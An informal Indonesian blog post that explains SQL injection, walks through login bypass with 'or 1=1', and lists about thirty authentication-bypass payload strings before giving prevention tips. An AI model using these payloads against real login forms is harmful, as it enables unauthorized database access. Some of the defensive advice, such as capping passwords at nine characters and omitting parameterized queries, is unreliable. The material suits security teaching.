Rabu, 15 Oktober 2008

pengertian dan menggunakan serta mencegah sql injection

ko' jadi SQL injection judulnya???heehehehehe


sebenernya gini !!!nih kan blog gw buat untuk rumah makan gw(promosi gitu) trs juga bakal gw taro berbagai macam tips untuk membuat makanan padang.tapi karena berhubung gw orang yang suka ngacak2 komputer n nyokap gw sang master masakan padang ( cie ile master ) sedang sibuk dengan masakannya sekarang.jadinya gw buat dulu postingan tentang sql injection, lansung aja ya......



pada tau kagak sql injection itu apa????
klo ga tau kesian deh!!hehehehehe......
tapi bagi para master komputer mohon maaf ya klo ada yang salah.tapi klo bisa sih mohon di benerin yah...
sebenernya gw juga ga paham2 bgt sama sql injection.tapi gw mao ngebagi dikit ilmu gw nih.


om - om tante - tante ade - ade kakak - kakak oma opa ibu bapak (panjang bener) pasti udah pada tau kan klo dunia IT mengalami perkembangan yang cukup cepat ( sama ferarri cepetan mana yah??hehehehehe) Banyak banget aplikasi – aplikasi baru yang muncul dengan logika – logika yang rumit.dan pastinya para pengembang aplikasi itu sudah merencanakan bagaimana mengantisipasi serangan – serangan para hacker ataupun cracker.Tetapi, keamanan pun ga selamanya safety. Suatu saat nanti pasti akan ada seseorang atau sekelompok orang yang menembus keamanan tersebut. Salah satunya yaitu teknik SQL Injection. Bahkan pada umunya para Programmer lalai dalam mengantisipasi serangan SQL Injection.

nih gw jelasin gimana caranya make sql injection(tapi jangan di pake yang ga - ga yah!cuma bagi2 ilmu aja nih).

perasaan dari tadi gw ceramah mulu.tapi ga ada arti sql injection. nih langsung aja dah

SQL Injection adalah salah satu metode para hacker untuk membobol database sebuah aplikasi web milik orang lain diantaranya seperti PHP + MySQL dan ASP + MSACCESS atau dengan MySql. SQL injection terbukti merupakan salah satu teknik terbaik yang sering melumpuhkan sasarannya. Begitu penyerang berhasil menguasai kendali database server,ia bias melakukan apa saja, seperti memodifikasi atau bahkan menghapus semua data yang ada.
 
nih caranya


Umumnya SQL Injection dapat di lakukan pada sebuah aplikasi web yg ada halaman loginnya yang terdiri dari dua buah text box. SQL Injection tidak dapat di lakukan di aplikasi desktop menggunakan dataset otomatis. Selain itu penyerang harus memahami syntax – syntax yang berada di dalam SQL.
SQL injection terjadi ketika penyerang dapat memasukkan beberapa SQL statement ke 'query' dengan cara manipulasi data input ke applikasi tersebut atau juga penyerang dapat memasukkannya melewati URL. Teknik ini dapat di lakukan karena lemahnya logika koding yang telah di buat dalam sebuah aplikasi. Namun, sebelum penyerang dapat melakukan teknik ini, terlebih dahulu penyerang harus mengetahui terlebih dahulu nama – nama fieldnya dengan cara menambahkan koding sederhana berikut dalam input text login.

‘ or 1=1–

Lalu akan keluar Exception seperti berikut

-----------------------------------------------------------------------
SQL ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' at line 1
SQL: SELECT * FROM adrev_users WHERE email='x' AND pass='' having 1 = 1 --' AND status='1'
----------------------------------------------------------------------

Atau juga seperti

------------------------------------
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
‘adrev_users.pass’ is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/sipm/admin/dologin.asp, line 7
-----------------------------------

Dari Exception di atas maka penyerang akan mendapatkan sebuah informasi berharga. Yaitu, nama table = adrev_users dan nama field. Biasanya para pengembang aplikasi web masih menggunakan syntax yang sama dalam pembacaan sebuah halaman Login.

select * from adrev_users where email='BuzZ' and password='Ganteng'

Dalam Syntax di atas sudah pasti di tentukan bahwa SQL akan mencari data informasi dimana baris tersebut mempunyai user_name = BuzZ dan password = ganteng, maka nilai tersebut jika benar akan bernilai TRUE dan jika salah maka akan bernilai FALSE. Namun berbeda jika kita memasukkan syntax berikut :

select * from adrev_users where email='BuzZ' and password='Ganteng'or 1=1 (narsis juga gw)

ditambahkan or 1=1 yg pasti bernilai TRUE. dengan kata lain, select * from user_aplikasi akan menghasilkan nilai TRUE apapun hasilnya. Sehingga, akan sama hasilnya ketika melakukan query select * from user_aplikasi. Penyerang akan langsung masuk ke dalam sebuah halaman web tanpa harus terdaftar terlebih dahulu. Kemungkinan-kemungkinan variable lainya untuk menginjeksi ialah :
or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a



tapi karena gw orang yang baek(heheeheheh......)jadinya gw kasih nih cara pencegahannya!!!!


pencegahannya


SQL Injection adalah salah satu jenis penyerangan yang mengijinkan user tidak sah(penyerang)untuk mengakses database server. Pada dasarnya,serangan ini difasilitasi oleh kode si pembuat program sendiri. SQL Injection bisa dicegah jika kode si pembuat program melakukan validasi yang baik. Berikut adalah beberapa cara pencegahan agar SQL Injection dapat dihindari :

• Gunakan Exception Handling yang baik
Pada umumnya, penyerang mencari informasi yang sangat berharga dalam sebuah Exception. Usahakan jika terjadi sebuah error tidak akan di tampilakan ke dalam sebuah halaman web.
• Mengganti account Sa
Secara default, ketika menginstal SQL server maka account akan menjadi sa dan password terisi kosong. Para penyerang akan lebih mudah merusak Database server jika account telah diketahui.
• Menyaring inputan dari user
Buatlah agar inputan di halaman web hanya dapat memasukkan huruf (A - Z, a - z) dan angka (0-9) saja, atau mematikan inputan spasi.
• Membatasi inputan
Bastasi inputan user seperti untuk password tidak dapat lebih dari 9 character.
• Enkripsi data
Data user seperti Login dan Password lebih baik di enkripsi.
• Gunakanlah Stored Procedure
Dalam queries, usahakan selalu menggunakan Stored Procedure. Untuk membuat sebuah Procedure biasanya menggunakan syntax CREATE PROCEDURE [nama_procedure].

Tidak ada komentar: